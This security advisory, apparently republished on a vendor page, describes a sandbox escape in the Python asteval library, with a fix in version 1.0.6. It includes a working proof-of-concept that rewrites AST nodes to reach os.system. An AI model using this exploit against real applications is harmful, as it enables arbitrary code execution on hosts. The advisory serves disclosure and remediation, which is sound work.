Summary
ASTEVAL Allows Malicious Tampering of Exposed AST Nodes Leads to Sandbox Escape
If an attacker can control the input to the asteval library, they can bypass its safety restrictions and execute arbitrary Python code within the application's context.
Details
The vulnerability is rooted in how asteval performs attribute access verification. In particular, the on_attribute node handler prevents access to attributes that are either present in the UNSAFE_ATTRS list or are formed by names starting and ending with __, as shown in the code snippet below:
def on_attribute(self, node): # ('value', 'attr', 'ctx')
"""Extract attribute."""
ctx = node.ctx.__class__
if ctx == ast.Store:
msg = "attribute for storage: shouldn't be here!"
self.raise_exception(node, exc=RuntimeError, msg=msg)
sym = self.run(node.value)
if ctx == ast.Del:
return delattr(sym, node.attr)
#
unsafe = (node.attr in UNSAFE_ATTRS or
(node.attr.startswith('__') and node.attr.endswith('__')))
if not unsafe:
for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items():
unsafe = isinstance(sym, dtype) and node.attr in attrlist
if unsafe:
break
if unsafe:
msg = f"no safe attribute '{node.attr}' for {repr(sym)}"
self.raise_exception(node, exc=AttributeError, msg=msg)
else:
try:
return getattr(sym, node.attr)
except AttributeError:
pass
While this check is intended to block access to sensitive Python dunder methods (such as __getattribute__), the flaw arises because instances of the Procedure class expose their AST (stored in the body attribute) without proper protection:
class Procedure:
"""Procedure: user-defined function for asteval.
This stores the parsed ast nodes as from the 'functiondef' ast node
for later evaluation.
"""
def __init__(self, name, interp, doc=None, lineno=0,
body=None, args=None, kwargs=None,
vararg=None, varkws=None):
"""TODO: docstring in public method."""
self.__ininit__ = True
self.name = name
self.__name__ = self.name
self.__asteval__ = interp
self.raise_exc = self.__asteval__.raise_exception
self.__doc__ = doc
self.body = body
self.argnames = args
self.kwargs = kwargs
self.vararg = vararg
self.varkws = varkws
self.lineno = lineno
self.__ininit__ = False
Since the body attribute is not protected by a naming convention that would restrict its modification, an attacker can modify the AST of a Procedure during runtime to leverage unintended behaviour.
The exploit works as follows:
The Time of Check, Time of Use (TOCTOU) Gadget:
In the code below, a variable named
unsafeis set based on whethernode.attris considered unsafe:unsafe = (node.attr in UNSAFE_ATTRS or (node.attr.startswith('__') and node.attr.endswith('__')))Exploiting the TOCTOU Gadget:
An attacker can abuse this gadget by hooking any
AttributeAST node that is not in theUNSAFE_ATTRSlist. The attacker modifies thenode.attr.startswithfunction so that it points to a custom procedure. This custom procedure performs the following steps:- It replaces the value of
node.attrwith the string"__getattribute__"and returnsFalse. - Thus, when
node.attr.startswith('__')is evaluated, it returnsFalse, which causes the condition to short-circuit and setsunsafetoFalse. - However, by that time,
node.attrhas been changed to"__getattribute__", which will be used in the subsequentgetattr(sym, node.attr)call. An attacker can then use the obtained reference tosym.__getattr__to retrieve malicious attributes without needing to pass theon_attributechecks.
- It replaces the value of
PoC
The following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the whoami command on the host machine:
from asteval import Interpreter
aeval = Interpreter()
code = """
ga_str = "__getattribute__"
def lender():
a
b
def pwn():
ga = lender.dontcare
init = ga("__init__")
ga = init.dontcare
globals = ga("__globals__")
builtins = globals["__builtins__"]
importer = builtins["__import__"]
importer("os").system("whoami")
def startswith1(str):
# Replace the attr on the targeted AST node with "__getattribute__"
pwn.body[0].value.attr = ga_str
return False
def startswith2(str):
pwn.body[2].value.attr = ga_str
return False
n1 = lender.body[0]
n1.startswith = startswith1
pwn.body[0].value.attr = n1
n2 = lender.body[1]
n2.startswith = startswith2
pwn.body[2].value.attr = n2
pwn()
"""
aeval(code)
Impact
GHSA-VP47-9734-PRJW has a CVSS score of 8.4 (High). The vector is requires local access, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.0.6); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-VP47-9734-PRJW? GHSA-VP47-9734-PRJW is a high-severity security vulnerability in asteval (pip), affecting versions <= 1.0.5. It is fixed in 1.0.6.
- How severe is GHSA-VP47-9734-PRJW? GHSA-VP47-9734-PRJW has a CVSS score of 8.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of asteval are affected by GHSA-VP47-9734-PRJW? asteval (pip) versions <= 1.0.5 is affected.
- Is there a fix for GHSA-VP47-9734-PRJW? Yes. GHSA-VP47-9734-PRJW is fixed in 1.0.6. Upgrade to this version or later.
- Is GHSA-VP47-9734-PRJW exploitable, and should I be worried? Whether GHSA-VP47-9734-PRJW is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-VP47-9734-PRJW is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-VP47-9734-PRJW? Upgrade
astevalto 1.0.6 or later.